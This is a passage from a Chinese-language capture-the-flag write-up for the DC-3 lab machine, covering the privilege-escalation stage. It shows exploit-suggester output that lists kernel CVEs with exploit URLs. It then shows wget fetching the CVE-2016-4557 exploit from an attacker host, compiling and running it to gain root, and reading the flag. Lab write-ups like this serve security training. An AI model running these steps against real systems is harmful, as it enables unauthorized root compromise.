34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
www-data@DC-3:/tmp$ chmod +x linux-exploit-suggester.sh 
www-data@DC-3:/tmp$ ./linux-exploit-suggester.sh

Available information:

Kernel version: 4.4.0
Architecture: i686
Distribution: ubuntu
Distribution version: 16.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

74 kernel space exploits
45 user space exploits

Possible Exploits:

cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
[+] [CVE-2016-5195] dirtycow 2

Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},[ ubuntu=16.04{kernel:4.4.0-21-generic} ]
Download URL: https://www.exploit-db.com/download/40839
ext-url: https://www.exploit-db.com/download/40847
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2017-16995] eBPF_verifier

Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
Exposure: highly probable
Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},[ ubuntu=(16.04|17.04) ]{kernel:4.(8|10).0-(19|28|45)-generic}
Download URL: https://www.exploit-db.com/download/45010
Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1

[+] [CVE-2016-8655] chocobo_root

Details: http://www.openwall.com/lists/oss-security/2016/12/06/1
Exposure: highly probable
Tags: [ ubuntu=(14.04|16.04){kernel:4.4.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic} ]
Download URL: https://www.exploit-db.com/download/40871
Comments: CAP_NET_RAW capability is needed OR CONFIG_USER_NS=y needs to be enabled

[+] [CVE-2016-5195] dirtycow

Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
Download URL: https://www.exploit-db.com/download/40611
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-4557] double-fdput()

Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
Exposure: highly probable
Tags: [ ubuntu=16.04{kernel:4.4.0-21-generic} ]
Download URL: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip
Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1

[+] [CVE-2017-7308] af_packet

Details: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
Exposure: probable
Tags: [ ubuntu=16.04 ]{kernel:4.8.0-(34|36|39|41|42|44|45)-generic}
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c
Comments: CAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels

[+] [CVE-2017-6074] dccp

Details: http://www.openwall.com/lists/oss-security/2017/02/22/3
Exposure: probable
Tags: [ ubuntu=(14.04|16.04) ]{kernel:4.4.0-62-generic}
Download URL: https://www.exploit-db.com/download/41458
Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass

[+] [CVE-2017-1000112] NETIF_F_UFO

Details: http://www.openwall.com/lists/oss-security/2017/08/13/1
Exposure: probable
Tags: ubuntu=14.04{kernel:4.4.0-*},[ ubuntu=16.04 ]{kernel:4.8.0-*}
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-1000112/poc.c
Comments: CAP_NET_ADMIN cap or CONFIG_USER_NS=y needed. SMEP/KASLR bypass included. Modified version at 'ext-url' adds support for additional distros/kernels

[+] [CVE-2019-18634] sudo pwfeedback

Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
Exposure: less probable
Tags: mint=19
Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
Comments: sudo configuration requires pwfeedback to be enabled.

[+] [CVE-2019-15666] XFRM_UAF

Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
Exposure: less probable
Download URL:
Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled

[+] [CVE-2016-9793] SO_{SND|RCV}BUFFORCE

Details: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
Exposure: less probable
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-9793/poc.c
Comments: CAP_NET_ADMIN caps OR CONFIG_USER_NS=y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU only

[+] [CVE-2016-2384] usb-midi

Details: https://xairy.github.io/blog/2016/cve-2016-2384
Exposure: less probable
Tags: ubuntu=14.04,fedora=22
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c
Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user

[+] [CVE-2016-0728] keyring

Details: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/
Exposure: less probable
Download URL: https://www.exploit-db.com/download/40003
Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working

www-data@DC-3:/tmp$

本次使用[CVE-2016-4557]将39772.zip复制到DC3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
www-data@DC-3:/tmp$ wget 192.168.1.6/39772.zip
--2020-08-22 16:18:03-- http://192.168.1.6/39772.zip
Connecting to 192.168.1.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7025 (6.9K) [application/zip]
Saving to: '39772.zip'

39772.zip 100%[===================>] 6.86K --.-KB/s in 0s

2020-08-22 16:18:03 (612 MB/s) - '39772.zip' saved [7025/7025]

www-data@DC-3:/tmp$ ls
39772.zip
linux-exploit-suggester.sh
systemd-private-75689b1bf3f246969cc204a95896c661-systemd-timesyncd.service-bRUc7u
vmware-root
www-data@DC-3:/tmp$ unzip 39772.zip
Archive: 39772.zip
creating: 39772/
inflating: 39772/.DS_Store
creating: __MACOSX/
creating: __MACOSX/39772/
inflating: __MACOSX/39772/._.DS_Store
inflating: 39772/crasher.tar
inflating: __MACOSX/39772/._crasher.tar
inflating: 39772/exploit.tar
inflating: __MACOSX/39772/._exploit.tar
www-data@DC-3:/tmp$ ls
39772
39772.zip
__MACOSX
linux-exploit-suggester.sh
systemd-private-75689b1bf3f246969cc204a95896c661-systemd-timesyncd.service-bRUc7u
vmware-root
www-data@DC-3:/tmp$

4.exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@DC-3:/tmp$ cd 39772
www-data@DC-3:/tmp/39772$ ls
crasher.tar exploit.tar
www-data@DC-3:/tmp/39772$ tar -xvf exploit.tar
ebpf_mapfd_doubleput_exploit/
ebpf_mapfd_doubleput_exploit/hello.c
ebpf_mapfd_doubleput_exploit/suidhelper.c
ebpf_mapfd_doubleput_exploit/compile.sh
ebpf_mapfd_doubleput_exploit/doubleput.c
www-data@DC-3:/tmp/39772$ ls
crasher.tar ebpf_mapfd_doubleput_exploit exploit.tar
www-data@DC-3:/tmp/39772$ cd ebpf_mapfd_doubleput_exploit/
www-data@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
compile.sh doubleput.c hello.c suidhelper.c
www-data@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit$ chmod +x compile.sh
www-data@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./compile.sh
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.insns = (__aligned_u64) insns,
^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.license = (__aligned_u64)""
^
www-data@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit$

编译生成执行文件,进行利用

1
2
3
4
5
6
7
8
9
www-data@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
compile.sh doubleput doubleput.c hello hello.c suidhelper suidhelper.c
www-data@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit#

0x14.提权完成,找到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit# cd 
bash: cd: HOME not set
root@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit# cd /
root@DC-3:/#
root@DC-3:/#
root@DC-3:/#
root@DC-3:/# ls
bin dev home lib media opt root sbin srv tmp var
boot etc initrd.img lost+found mnt proc run snap sys usr vmlinuz
root@DC-3:/# cd /root
root@DC-3:/root#
root@DC-3:/root# ls
the-flag.txt
root@DC-3:/root# cat the-flag.txt
__ __ _ _ ____ _ _ _ _
\ \ / /__| | | | _ \ ___ _ __ ___| | | | |
\ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
\ V V / __/ | | | |_| | (_) | | | | __/_|_|_|_|
\_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)


Congratulations are in order. :-)

I hope you've enjoyed this challenge as I enjoyed making it.

If there are any ways that I can improve these little challenges,
please let me know.

As per usual, comments and complaints can be sent via Twitter to @DCAU7

Have a great day!!!!
root@DC-3:/root#
-------------纸短情长下次再见-------------